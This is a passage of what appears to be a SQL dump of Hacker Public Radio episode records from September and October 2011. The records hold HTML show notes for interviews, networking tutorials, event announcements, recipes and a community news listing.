it is hard to get the news out. I was wondering if you would please be so kind as to give it a listen. Any feedback would be appreciated. And if you like it, a mention in your podcast would be very kind. If you do, please email me so I can put a link on my website to your show.<br>\r\n<br>\r\nAlso if you ever need a guest on your show, please feel free to email me and let me know. If you want to know a little more about me please check out my website under About. You can also email me any questions you may have.<br>\r\n<br>\r\nSo what is my new podcast? The Linux News Podcast. The Linux News Podcast was designed to fill a much needed gap in audio shows covering exclusively Linux, Android, and Open Source news. The podcast aims to be relevant, accurate, fair, clear, timely, interesting and concise. <br>\r\n<br>\r\nThe podcast aims to be relevant by focusing on topic of interest to Linux users. I focus on such topics such as software freedom, Linux development, Open Source software, Android and mobile devises, security issues, and Linux distribution releases. Special attention is given to the top ten Linux distributions: Ubuntu, Linux Mint, Fedora, Debian, openSUSE, Arch, PCLinuxOS, Puppy Linux, Sabayon, and CentOS.<br>\r\n<br>\r\nThe podcast is less than 15 minutes long and is released every Tuesday and Friday evenings.<br>\r\n\r\n<br>\r\nThank you so much for your help in spreading the news.<br>\r\n<br>\r\nHere is the Official Press Release: <a href=\"https://www.prlog.org/11624836-new-linux-news-podcast.html\" target=\"_blank\">https://www.prlog.org/11624836-<wbr>new-linux-news-podcast.html</a><br>\r\n<table cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\r\n<tbody><tr>\r\n<td>\r\n<br>\r\n</td>\r\n</tr>\r\n</tbody></table>\r\n<table cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\r\n<tbody><tr>\r\n\r\n<td>\r\nSincerely,<br>\r\n<br>\r\nJay Forrest,<br>\r\n\r\n\r\n<br>\r\n<br>\r\n</td>\r\n</tr>\r\n</tbody></table>\r\n</p>\r\n  ',159,47,1,'CC-BY-SA','Community News',0,1998,1),
(829,'2011-10-06','Interview with Prof Jocelyn Bell-Burnell',2230,'Prof Jocelyn Bell-Burnell, discoverer of pulsars, on the Jodcast podcast','<P>\r\nWelcome to hacker public radio\r\n</P>\r\n<P>\r\nEach Thursday we play Syndicated creative commons content\r\n</P>\r\n<P>\r\nTodays show is from the Jodcast podcast and is released under a Creative Commons Attribution-NonCommercial- ShareAlike 2.0 England &amp; Wales License \r\n</P>\r\n<P>\r\n\"The Jodcast is a volunteer podcast about astronomy set up by astronomers based at the University of Manchester\'s Jodrell Bank but aims to cover astronomy carried out all over the Earth and beyond.\"\r\n</P>\r\n<P>\r\nIn todays show, aired in June two thousand and seven they interview Jocelyn Bell-Burnell on the 40th aniversary of her discovery of pulsars.\r\n</P>\r\n<P>\r\nTodays Syndicated Thursday show was recommended by DelWin \r\n</P>\r\n<P>\r\nIf you have a recommendation for syndicated thursday then please email it to admin at hacker public radio dot org\r\n</P>\r\n<P>\r\nenjoy\r\n</P>\r\n<P>\r\n<A HREF=\"https://www.jodcast.net/\">https://www.jodcast.net/</A>\r\n</P>\r\n<P>\r\n<A HREF=\"https://www.jodcast.net/archive/200706/\">https://www.jodcast.net/archive/200706/</A>\r\n</P>\r\n',159,54,1,'CC-BY-SA','astronomy,quasar,pulsar,\"radio telescope\",\"neutron star\",\"transient pulsar\"',0,2156,1),
(807,'2011-09-05','MaraDNS',1703,'Part 6 of the Networking series: How to set up a simple DNS server','<p>Klaatu continues his Networking Basics series with a howto set up a simple DNS server using <a href=\"https://maradns.org\" target=\"_blank\">MaraDNS</a>.</p>\r\n\r\n<p>Get the <a href=\"https://www.thebadapples.info/audiophile/hpr_networkingBasics_7_maradns.ogg\" target=\"_blank\">ogg vorbis</a> version from the Gnu World Order.</p>',78,61,0,'CC-BY-SA','networking,DNS,\"Domain Name System\",MaraDNS',0,2097,1),
(808,'2011-09-06','Interview with Yancy Smith',342,'Interview at SELF about a PC recycling project with the Carolina Free PC Foundation','<p>\r\nCheapskate Computing\r\n</p>\r\n<P>\r\nTranscriber\'s notes: This is probably 95%-97% accurate. I made sure to get most of the important parts, even slowing down the recording - but some stuff just did not come out clearly. We were in a very quiet room, but the Fuze\'s mic is not professional quality. Transcriptions marked with an asterisk * are my best guess / paraphrase. There aren\'t many.\r\n</P>\r\n<P>\r\nThe Carolina Free PC organization that Yancy mentions can be found here:\r\n<A HREF=\"https://sites.google.com/site/carolinafreepc/\">https://sites.google.com/site/carolinafreepc/</A>\r\n</P>\r\n<P>\r\nAudio notes: Volume normalization & removal of bias, and the noise of me pressing buttons on the Fuze was removed. There is no editing for content.\r\n</P>\r\n<P>\r\nBroam: So hi, I\'m here with Yancy Smith, he was doing a...like a donation project he called the \"Scrapper Project\" here at SELF, I just wanted to ask him a couple questions about it.\r\n</P>\r\n<P>\r\nBroam: Hi Yancy.\r\n</P>\r\n<P>\r\nYancy: Hi. Um.\r\n</P>\r\n<P>\r\nBroam: So tell me about it.\r\n</P>\r\n<P>\r\nYancy: Well basically we take the time*, we take old computers from labs and computer stores, they give them to me; I recycle them to someone else. \r\n</P>\r\n<P>\r\nAnd a couple weeks ago I got clearance in talking Dave Yates, our president, said, \"can we do this here at our function\" here at SELF. and I sent out to all our club members and to most of my facebook friends, we didn\'t put on the general list, we just tryin\' this out. We didn\'t have no donations this time, but some of us bought some stuff in, mainly me, brought some old stuff in, to get rid of because I don\'t have the room...and... it didn\'t turn out so well, but had a couple of bags to send with the Athens [?] team home, so they enjoyed that.\r\n</P>\r\n<P>\r\nBroam: That\'s cool. I have some other questions here... let\'s see here... um. so professional. So is this mostly you organizing this on your own, or?\r\n</P>\r\n<P>\r\nYancy: Yeah. But I\'m working with the Carolina Free PC Foundation. I emailed them, they said they would be glad to take, and they emailed me back. Emailed Athens a week ago, but they didn\'t get my email in time, but they said next year, talk to such & such and they would know who to talk to. I\'d be willing to open it to anyone.\r\n</P>\r\n<P>\r\nBroam: Okay. Is this the first year you\'ve done this, or?\r\n</P>\r\n<P>\r\nYancy: Yeah, it\'s first time. It\'s an ad-hoc thing, our group - the club, Upstate Carolina Linux user group. ( www.uclug.org ), is a meritocracy, but I still asked for permission.\r\n</P>\r\n<P>\r\nBroam: Cool obviously crossing off a ton of questions here and who are you going to give the donated computers to? Other foundations, or?\r\n</P>\r\n<P>\r\nYancy:  Mainly, um, if there had been some this year, there would have been a three-way split - who needs what parts. I found out that the Carolina [group] wanted the hard drives and certain memory sets and things, they would have gotten that. Free PCs they had certain amounts that wanted, and the rest  I would have taken home or send on to someone else down the road.\r\n</P>\r\n<P>\r\nBroam: Ok. And uh, and did you look at any other projects - I know you contacted some people, but did you look at other, like, similar things that people have done on line, like, say Freegeek or Helios Initiative for anything like that, for ideas?\r\n</P>\r\n<P>\r\nYancy:  Mainly it\'s between, um, I haven\'t heard of them too much; but like what I said I\'m following the guidelines of the Carolina PC and some of the Athens stuff. I happen to know um, what we - I had contact with them last year and so if there\'s something they can use...\r\n</P>\r\n<P>\r\nBroam: Ok. You said something in the Facebook post you sent me about Linux being required by South Carolina state law. Could you explain that a little more?\r\n</P>\r\n<P>\r\nYancy: Well it\'s... that was a misstatement. What I was saying was that by State law requires you to send off the parts and metals stuff, not in the trash they send it off to a scrapyard - \r\n</P>\r\n<P>\r\nBroam: Oh, ok... yeah I...\r\n</P>\r\n<P>\r\nYancy: but the part about the Linux is I put Linux on there because it wipes the drive down completely and clearly because of the data retention laws, that\'s why\r\n</P>\r\n<P>\r\nBroam: aaaah, ok.\r\n</P>\r\n<P>\r\nYancy: see a lot of the stores, I go into a thift store, like a Goodwill or a church store, they don\'t really wipe down the systems they build. They don\'t have the [expertise]. They just wipe* a couple directories and think it\'s sanitized. That is a dangeorus thing to do.\r\n</P>\r\n<P>\r\nBroam: Yes, I know... (In retrospect, sounds kinda flippant, sorry. I meant to agree with him here. ed.)\r\n</P>\r\n<P>\r\nYancy: That and the license - any issues of rebuilding windows, I do that only when I have a holographic key. So it\'s just like even if I have a key I still put Linux on top of it, so if there\'s an issue with Windows, I can recover but also I still can introduce them to Linux, because games, software, photos...\r\n</P>\r\n<P>\r\nBroam: Everything is free, everything is legally transferrable.\r\n</P>\r\n<P>\r\nYancy: Yeah. Especially there\'s an application called Photo...photo wall or photoroom, it\'s sorta like Apple\'s album* for all your photos. It\'s the coolest thing.\r\n</P>\r\n<P>\r\nBroam: Cool! And I have one last question ...got any stuff for me?\r\n</P>\r\n<P>\r\nYancy: Um...\r\n</P>\r\n<P>\r\nBroam: *laughter*\r\n</P>\r\n<P>\r\nYancy: Not much left. Athens took off with all of my stuff.\r\n</P>\r\n<P>\r\nBroam: All right. Thanks a lot, Yancy. I appreciate your time.\r\n</P>\r\n        ',143,78,1,'CC-BY-SA','SELF,\"Carolina Free PC Foundation\",\"Upstate Carolina Linux User Group\"',0,2144,1),
(809,'2011-09-07','talk geek to me',754,'DeepGeek explains Segmented Downloading','<p>In todays syndicated Thursday DeepGeek allows us to play TGTM #28 - Segmented Downloading aired on 2011-09-05</p>\r\n<p>\r\n “Segmented downloading” is a way of getting your file by getting pieces of your file from different webservers, which mirror each other with identical content. If “bittorrent” comes to mind, then you’re following me. It is essentially using full-fledged webservers as if they were bittorrent seeds. But in order to understand why you would want to do this, you need to understand some things about old-school downloads and some things about bittorrent, before you can understand the “why,” then the “how,” of segmented downloading\r\n</p>\r\n<p>\r\nFor Complete shownotes see <a href=\"https://www.talkgeektome.us/tgtm-28-segmented-downloading.html\">https://www.talkgeektome.us/tgtm-28-segmented-downloading.html</a>\r\n</p>',73,54,1,'CC-BY-SA','\"Segmented Downloading\"',0,1996,1),
(810,'2011-09-08','Hello HPR!',627,'An introduction from a new host','Joe introduces himself and takes the podcasting (and the automobile) for a spin. (Note: podcast \'n drive responsibly!)',189,0,1,'CC-BY-SA','Knoppix,Slackware,Fedora,Debian,Ubuntu,\"Arch Linux\"',0,2115,1),
(811,'2011-09-11','creative commons torrent tracker',2790,'Plans to create a Drupal CMS with a Creative Commons torrent tracker','<p>Klaatu and Thistleweb talk about the creative commons torrent tracker project Thistleweb and Cobra2 have embarked upon.</p> \r\n<p>\r\n<!-- <a href=\"https://unseenstudio.co.uk/tracker\">https://unseenstudio.co.uk/tracker</a></p> -->\r\n<a href=\"https://web.archive.org/web/20120706062341/https://unseenstudio.co.uk:80/tracker\">https://unseenstudio.co.uk/tracker</a></p>\r\n<p><small><strong>Editor\'s Note 2019-03-11</strong>: the <code>unseenstudio.co.uk</code> domain has now lapsed. The link above takes you to the Wayback Machine\'s copy from 2012.</small></p>\r\n',106,0,1,'CC-BY-SA','torrent,\"torrent seeder\",\"creative commons\",Drupal,EFF,GNU',0,2261,1),
(812,'2011-09-12','Are they a patent troll',1224,'Useful tips on how to determine if someone is a patent troll or not','Mr. Gadgets gives us useful tips on how to determine if one is a patent troll or not. ',155,0,1,'CC-BY-SA','patent,\"patent troll\"',0,2093,1),
(813,'2011-09-13','Gemma Cameron aka @ruby_gem about Barcamp Blackpool',1098,'Ken talks to Gemma Cameron aka @ruby_gem about Barcamp Blackpool','<p>\r\nIn todays show Ken talks to Gemma Cameron aka @ruby_gem about Barcamp Blackpool\r\n</p>\r\n\r\n<p>Barcamp Blackpool is a <strong>free </strong>‘unconference’ with no scheduled speakers. Attendees arrive on the day armed with talks and decide which ones they want to go along to! The talks can be on anything, from android application development to learning the British Sign Language to Electronic Organs played by BBC Micros!  But don’t worry, you don’t have to do a talk to participate! The event is paid for by lovely sponsors. Get in touch if you want to sponsor us!</p>\r\n<p>When:&nbsp;<strong>Saturday 15th October 2011</strong> Where:&nbsp;<strong><a title=\"Google Streetview image of Blackpool Pleasure Beach main building\" href=\"https://maps.google.co.uk/maps?f=q&amp;source=s_q&amp;hl=en&amp;q=pleasure+beach&amp;sll=53.793452,-3.0548&amp;sspn=0.00995,0.015793&amp;ie=UTF8&amp;split=1&amp;rq=1&amp;ev=zi&amp;radius=0.32&amp;hq=pleasure+beach&amp;hnear=&amp;ll=53.793452,-3.0548&amp;spn=0,359.984207&amp;z=16&amp;layer=c&amp;cbll=53.79321,-3.056595&amp;panoid=5N-JwjI1yQcW-zGWWUqPSA&amp;cbp=12,103.9,,0,5\">Blackpool Pleasure Beach</a></strong> (inside the white Casino Building) Twitter:&nbsp;<strong><a title=\"the bcblackpool twitter profile page\" href=\"https://twitter.com/bcblackpool\">@bcblackpool</a></strong> Tags: <strong><a title=\"bcblackpool hashtag twitter search\" href=\"https://tagwalk.com/tag/bcblackpool?\">#bcblackpool</a></strong> Google Group:<strong> </strong><a href=\"https://groups.google.co.uk/group/bcblackpool\"><strong>https://groups.google.co.uk/group/bcblackpool</strong></a></p>',30,0,1,'CC-BY-SA','\"Barcamp Blackpool\",unconference',0,1889,1),
(814,'2011-09-14','The Knightcast KC0054 : Setting up Amahi',3682,'A visit to the Knightcast podcast','<p>\r\nIn todays syndicated Thursday originally aired on Friday, 09 September 2011, we have The Knightcast KC0054 : Setting up Amahi.\r\n</p><p>\r\nThis week we do a deep-geek-dive into setting up Amahi, a powerful server for the home with the ease of use of a smartphone. Web based interfaces, point-and-click addition of applications, tons of Geeky functionality : Its all there in Amahi. With a spot of music from Planet Boelex and a recording made \'on the road\' its another \"Knightcast\".</p>\r\n<p>\r\n<!-- <a href=\"https://www.knightwise.com/knightcast-podcast/854-the-knightcast-kc0054-setting-up-amahi\">https://www.knightwise.com/knightcast-podcast/854-the-knightcast-kc0054-setting-up-amahi</a> -->\r\n<a href=\"https://knightwise.com/?s=amahi&x=-1179&y=-464\">https://www.knightwise.com/knightcast-podcast/854-the-knightcast-kc0054-setting-up-amahi</a>\r\n</p>\r\n',111,54,1,'CC-BY-SA','Amahi',0,2089,1),
(815,'2011-09-15','Software Freedom Day Dundee 2011',683,'An event to celebrate and promote the use of free and open source software','<h1>Software Freedom Day Dundee 2011</h1>\r\n<p>\r\nAn event to celebrate and promote the use of free and open source software\r\n</p>\r\n<h4>Who Are We</h4>\r\n<p><a href=\"https://the-os.org.uk\">\"The Open Society\"</a> and the <a href=\"https://dundeelug.org.uk/index.php/TayLUG_Home\">\"Tayside Linux User Group\"</a> have long been establishing their names within the local Free and Open Source Community, as centres of support and advocacy for people from all walks of life. This September we will be showcasing some of the best that our local community has to offer.</p> \r\n\r\n<h4>What is Software Freedom Day</h4>\r\n<p>Software Freedom Day (SFD) is a worldwide celebration of Free and Open Source Software (FOSS). Our goal in this celebration is to educate the worldwide public about of the benefits of using high quality software in education, in government, at home and in business - in short, everywhere! The non-profit company Software Freedom International coordinates SFD at a global level, providing support, give-aways and a point of collaboration, but volunteer teams around the world organize the local SFD events to impact their own communities.<br><a href=\"https://softwarefreedomday.org/en/sfd/software-freedom\" target=\"_blank\">visit softwarefreedomday.org </a>\r\n</p>\r\n<h5>Scheduled Talks</h5>\r\n<h6>Introduction - 10:00am</h6>\r\n<ul><li>What is Free and Open Source Software by Ryan Ward</li></ul>\r\n<h6>Track 1 in Cinema room</h6>\r\n<ul>\r\n<li>On Expectations, Requirements and Survival when Starting with Linux by Markus Tauber</li>\r\n<li>What is Android by Kris Findlay</li>\r\n</ul>\r\n<h6>Track 2 in Gallery Area</h6>\r\n\r\n<ul>\r\n<li>Packets, Freedom, Networks and Neutrality by Rorie Hood</li>\r\n<li>Wine and Gaming: A Novice\'s Guide by Gavin Ewan</li>\r\n</ul>\r\n<h6>Lunch - 1.00pm</h6>\r\n<ul><li>Free Software for Indie Games Development by Hazel McKendrick</li></ul>\r\n<h6>Track 1 in Cinema room</h6>\r\n<ul>\r\n<li>Open Source and Broadcasting by Kenny Coyle</li>\r\n<li>Introduction to PKI by Robert Ladyman</li>\r\n\r\n<li>UPnP by Arron Finnon</li>\r\n</ul>\r\n<h6>Track 2 in Gallery Area</h6>\r\n<ul>\r\n<li>Blender by Garry Whitton</li>\r\n<li>Geo-Caching by Scott Cowie</li>\r\n</ul>\r\n<br>With the event drawing to a close at 5:00pm which will traditionally follow with a few beers and more geeky chat down the pub.\r\n</p>\r\n<p>\r\n<li><a href=\"https://the-os.org.uk\">https://the-os.org.uk</a></li>\r\n<li><a href=\"https://dundeelug.org.uk/index.php/TayLUG_Home\">https://dundeelug.org.uk/index.php/TayLUG_Home</a></li>\r\n<li><a href=\"https://softwarefreedomday.org/en/sfd/software-freedom\" target=\"_blank\">https://softwarefreedomday.org/en/sfd/software-freedom</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/OpenCD\">https://en.wikipedia.org/wiki/OpenCD</a></li>\r\n</ul>\r\n</p>\r\n',30,0,1,'CC-BY-SA','\"Tayside Linux User Group\",Dundee',0,2100,1),
(816,'2011-09-18','Modern Survivalism part 1 ',1733,'Modern Survivalism - part 1 of 2','<p>In today\'s show we start a new series on Modern Survivalism where you do everything you can to make your life better now by lessening dependency, trying to live debt free and learning basic skills.\r\n</p>\r\n<p>\r\nToday\'s recipes are:\r\n</p>\r\n<h2>Simple whole wheat honey desserts</h2>\r\n<ul>\r\n<li>¼ cup milled whole wheat per tortilla  </li>\r\n<li>pinch salt</li>\r\n<li>pinch sugar</li>\r\n<li>water very little</li>\r\n<li>butter</li>\r\n<li>honey</li>\r\n</ul>\r\n<p>\r\nMix flour, water, salt, sugar &amp; let sit for 5-10 minutes, roll out with dowel or rolling pin &amp; cook over stove - no butter or Pam in pan. Put a little butter on the tortilla right after it comes off the heat &amp; put honey on it &amp; cut with a pizza cutter &amp; serve.\r\n</p>\r\n\r\n\r\n<h2>Quick beans - dried to eating in 65 minutes.</h2>\r\n<ul>\r\n<li>7 Cups water</li>\r\n<li>5 beef bouillion cubes</li>\r\n<li>1 pound dried pinto beans</li>\r\n<li>¼ cup dried onions</li>\r\n<li>thyme sprigs</li>\r\n<li>1-2 cups meat - use frozen ham.</li>\r\n</ul>\r\n<p>\r\nAdd everything to a pressure cooker &amp; bring it to pressure (10-15 lbs) &amp; keep it at pressure for 60 minutes - serve over rice or potatoes.\r\n</p>\r\n',190,0,1,'CC-BY-SA','recipe',0,2329,1),
(817,'2011-09-19','Installing Linux and Windows 7 to a USB Hard Drive',319,'Script to install Windows to an external USB hard drive','<P>\r\nScript to install Windows to USB described in forum post here: \r\n<A HREF=\"https://reboot.pro/10126/\">https://reboot.pro/10126/</A>\r\n</P>\r\n\r\n<UL>\r\n<LI>Email: <A HREF=\"mailto:aukondk@aukondk.com\">aukondk@aukondk.com</A>\r\n<LI>Twitter/Identica: aukondk\r\n<LI>gplus.to/aukondk\r\n<LI><A HREF=\"https://www.aukondk.com\">www.aukondk.com</A>\r\n</UL>',191,0,1,'CC-BY-SA','\"USB hard disk\",\"Windows 7\",swapfile,pagefile',0,2124,1),
(818,'2011-09-20','Sansa Clip Plus for podcasting',1622,'Using a Sansa player as a podcast recorder','<P>\r\nLong story short is that the Clip+ is pretty great as a cheap all-in-one recording device. I go into a little more detail here, and I have an idea that may make it even better.\r\n</P>\r\n<P>\r\nSince recording this, I have discovered how to change the recording directory. \r\n</P>\r\n\r\n<OL>\r\n<LI>Press the Home button to get to the main menu.\r\n<LI>Go to the \"Files\" option in the main menu, and navigate to the directory (even if it\'s on the SD card) that you want to use for recording. Highlight it, but don\'t open it.\r\n<LI>Hold down the center button to open a context menu. \r\n<LI>Scroll down and select \"Set As Recording Directory\".\r\n</OL>\r\n<P>\r\nIf you have comments, please leave them in the comments section for the show here at <A HREF=\"https://hackerpublicradio.org\">https://hackerpublicradio.org</A>\r\n</P>',128,0,1,'CC-BY-SA','\"Sansa Clip+\",recording,RockBox',0,2182,1),
(819,'2011-09-21','Editing Part Five Post and Packing',496,'The process of editing the Full Circle podcast audio, part 5','<p> Today\'s show is part of the Syndicated Thursday series</p>\r\n<p>Hello world and welcome to our on Hacker Public Radio. This is Part Five in our series on producing the podcast. We\'ve prepped, recorded, edited and assembled, now it\'s time to release the show onto an unsuspecting world. All the hard work done? Not quite...</p>\r\n<p><strong>Runtime:</strong> 8mins 14seconds</p>\r\n<p><strong>Your Host:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter)</li>\r\n</ul>\r\n<p>Additional audio by Victoria Pritchard</p>\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine.org/podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,1976,1),
(820,'2011-09-22','Setting up a web server and a mySQL server',1313,'Part 9 - configuring a web server and a MySQL server','<p>Klaatu continues his Networking Basics series with an overview on setting up and configuring a web server and a mySQL server.</p>\r\n\r\n<p>Get the <a href=\"https://www.thebadapples.info/audiophile/hpr_networkingBasics_8_httpdmysql.ogg\">ogg vorbis</a> version from the Gnu World Order.</p>',78,61,0,'CC-BY-SA','DHCP,DNS,\"web server\",\"MySQL server\",apache,nginx,lighttpd,\"virtual host\"',0,2169,1),
(821,'2011-09-25','Why Android tablets suck !',2887,'Mr. Gadgets discusses his experiences with various Android tablets','In today\'s show Mr. Gadget discusses his history with Android tablets.',155,0,1,'CC-BY-SA','\"resistive screen\",\"Android apps\",\"Google marketplace\",\"Amazon marketplace\"',0,2266,1),
(822,'2011-09-26','Vivean Parkhouse about the GiffGaff Community Phone project',247,'The GiffGaff Community Phone project','<p>\r\nKen interviews Vivean Parkhouse about the GiffGaff Community Phone project in the UK while at OggCamp11\r\n</p>\r\n<p>\r\n<a href=\"https://giffgaff.com/\">https://giffgaff.com/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Giffgaff\">https://en.wikipedia.org/wiki/Giffgaff</a><br />\r\n</p>',30,0,1,'CC-BY-SA','giffgaff,\"community phone project\"',0,1988,1),
(823,'2011-09-27','Klaatu talks to Trevor, a programmer for Phonon\'s Gstreamer backend',507,'Phonon\'s Gstreamer backend','<p>At the Ohio Linux Fest, Klaatu talks to Trevor, a programmer for Phonon\'s Gstreamer backend.</p>',78,78,0,'CC-BY-SA','KDE,Phonon,Gstreamer,Amarok,\"Dragon Player\"',0,2026,1),
(824,'2011-09-28','Opentech Conference 2011: Paula Graham, FOSSBox',961,'Fossbox at OpenTech 2011','<p>Hello world and welcome to our show on Hacker Public Radio. This episode is our interview with Paula Graham of <a title=\"FOSSBox\" href=\"https://fossbox.org.uk/?q=node/1\" target=\"_blank\">Fossbox</a>  by my co-host is Les Pounder, following the Opentech Conference in London</p>\r\n<p><a href=\"https://www.ukuug.org/events/opentech2011/\" target=\"_blank\"><strong>OpenTech 2011</strong></a></p>\r\n<p>Saturday 21st May 2011,Union Building, University of London.</p>\r\n\r\n<p><strong>17:44 | Interview: Paula Graham of <a title=\"FOSSBox\" href=\"https://fossbox.org.uk/?q=node/1\" target=\"_blank\">Fossbox</a></strong></p>\r\n<p>Fossbox is a non-profit organisation supporting digital inclusion and helping other non-profits move towards lower-cost ICT systems with more flexibility and lower environmental impact.</p>\r\n\r\n<p>OpenTech 2011 is an informal, low cost, one-day conference on slightly different approaches to technology, transport and democracy. Talks by people who <a target=\"_blank\" href=\"https://radar.oreilly.com/2009/01/work-on-stuff-that-matters-fir.html\">work on things that matter</a>, guarantees a day of thoughtful talks leading to conversations with friends.</p>\r\n\r\n<p><strong>Your Hosts:</strong></p>\r\n<ul>\r\n	<li><strong>Robin  Catling</strong> (blog at <a href=\"https://catlingmindswipe.blogspot.com/\" target=\"_blank\">https://catlingmindswipe.blogspot.com/</a>, @robincatling on Twitter) </li>\r\n	<li><strong>Les Pounder</strong> (blog at <a href=\"https://lespounder.wordpress.com/\" target=\"_blank\">https://lespounder.wordpress.com/</a>)</li>\r\n</ul>\r\n\r\n<p>The full circle podcast is the companion to Full Circle Magazine, the Independent Magazine for the Ubuntu Community\r\nFind us at <a href=\"https://www.fullcirclemagazine.org/podcast\" target=\"_blank\">https://www.fullcirclemagazine.org/podcast</a>.</p>\r\n<p>Feedback; you can post comments and feedback on the podcast page at fullcirclemagazine dot org forward slash podcast, send us a comment to podcast (at) fullcirclemagazine.org</p>\r\n\r\n<p><em>Additional audio by Victoria Pritchard</em></p>\r\n\r\n<p><strong>Runtime:</strong> 15mins 59seconds</p>',160,0,1,'CC-BY-SA','Full Circle Podcast',0,1986,1),
(825,'2011-09-29','Jamey Sharp Interview at X.Org Developer Conference (XDC) 2011',1226,'Interview with Jamey Sharp at XDC 2011','<p>\r\n<a href=\"https://opensourcebridge.org/users/432\">Jamey Sharp</a> was placed on Ritalin, briefly, in fifth grade. His interests and <a href=\"https://www.ohloh.net/accounts/jamey\">activities</a> have been varied ever since. Today his day job involves <a href=\"https://www.tovatest.com/\">a computer test for attention deficit disorder</a>, but his biggest projects have been the <a href=\"https://psas.pdx.edu/\">Portland State Aerospace Society</a>, a student rocketry club at Portland State University; <a href=\"https://xcb.freedesktop.org/\">XCB</a>, a new low-level binding to the X protocol, in the process of replacing Xlib; and <a href=\"https://serialist.net/\">Serialist</a>, because his other projects didn’t leave him enough time to read his favorite webcomics without tool support.<br>\r\nJamey’s interests span computer science fields including cryptography, combinatorial search, compilers, and computational complexity; systems-level programming, such as file format and network protocol implementations, Linux kernel development, and boot-loader hacking; computer architecture and its impact on software design; and functional programming, preferably in Haskell.<br>\r\nThis interview focuses on Jamey\'s work on X.org, specifically the XCB project. The X protocol C-language Binding (XCB) is a replacement for Xlib featuring a small footprint, latency hiding, direct access to the protocol, improved threading support, and extensibility.<br>\r\n<br>\r\nXCB project site - https://xcb.freedesktop.org/<br>\r\nXCB mailing list - https://lists.freedesktop.org/mailman/listinfo/xcb<br>\r\nXCB irc          - irc.freenode.net #xcb<br>\r\n<A HREF=\"https://opensourcebridge.org/users/432\">https://opensourcebridge.org/users/432</A><br>\r\n<A HREF=\"https://www.ohloh.net/accounts/jamey\">https://www.ohloh.net/accounts/jamey</A><br>\r\n<A HREF=\"https://www.tovatest.com/\">https://www.tovatest.com/</A><br>\r\n<A HREF=\"https://psas.pdx.edu/\">https://psas.pdx.edu/</A><br>\r\n<A HREF=\"https://xcb.freedesktop.org/\">https://xcb.freedesktop.org/</A><br>\r\n<A HREF=\"https://serialist.net/\">https://serialist.net/</A><br>\r\n</P>',156,78,1,'CC-BY-SA','\"X.Org Developer Conference\",XDC,XCB',0,2011,1),
(826,'2011-10-02','HPR Community News for Sep 2011',1617,'HPR Community News for Sep 2011','<h2>New hosts</h2>\r\n<p>\r\nWelcome to our new hosts: \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=191\">AukonDK</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=190\">Tracy Holz (Holzster)</a>, and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=189\">Joe Wakumara</a>\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n\r\n<table id=\"table_results\" class=\"data ajax\"> \r\n<thead><tr> \r\n<th class=\"condition\">id\r\n</th><th>host\r\n</th><th>title\r\n</th></tr> \r\n</thead> \r\n<tbody> \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">806</td> \r\n<td  class=\"data inline_edit not_null odd  \">HPR Admins</td> \r\n<td  class=\"data inline_edit not_null odd  \">HPR news for Aug 2011</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">807</td> \r\n<td  class=\"data inline_edit not_null even  \">klaatu</td> \r\n<td  class=\"data inline_edit not_null even  \">MaraDNS</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">808</td> \r\n<td  class=\"data inline_edit not_null odd  \">Broam</td> \r\n<td  class=\"data inline_edit not_null odd  \">Interview with Yancy Smith</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">809</td> \r\n<td  class=\"data inline_edit not_null even  \">deepgeek</td> \r\n<td  class=\"data inline_edit not_null even  \">talk geek to me</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">810</td> \r\n<td  class=\"data inline_edit not_null odd  \">Joe Wakumara</td> \r\n<td  class=\"data inline_edit not_null odd  \">Hello HPR!</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">811</td> \r\n<td  class=\"data inline_edit not_null even  \">Thistleweb</td> \r\n<td  class=\"data inline_edit not_null even  \">creative commons torrent tracker</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">812</td> \r\n<td  class=\"data inline_edit not_null odd  \">MrGadgets</td> \r\n<td  class=\"data inline_edit not_null odd  \">Are they a patent trool</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">813</td> \r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null even  \">Gemma Cameron aka @ruby_gem about Barcamp Blackpool</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data inline_edit not_null odd  condition nowrap \">814</td> \r\n<td  class=\"data inline_edit not_null odd  \">Knightwise</td> \r\n<td  class=\"data inline_edit not_null odd  \">The Knightcast KC0054 : Setting up Amahi</td> \r\n</tr> \r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data inline_edit not_null even  condition nowrap \">815</td> \r\n<td  class=\"data inline_edit not_null even  \">Ken Fallon</td> \r\n<td  class=\"data inline_edit not_null even  \">Software Freedom Day Dundee 2011</td> \r\n</tr> \r\n            \r\n<tr class=\"odd\"><td 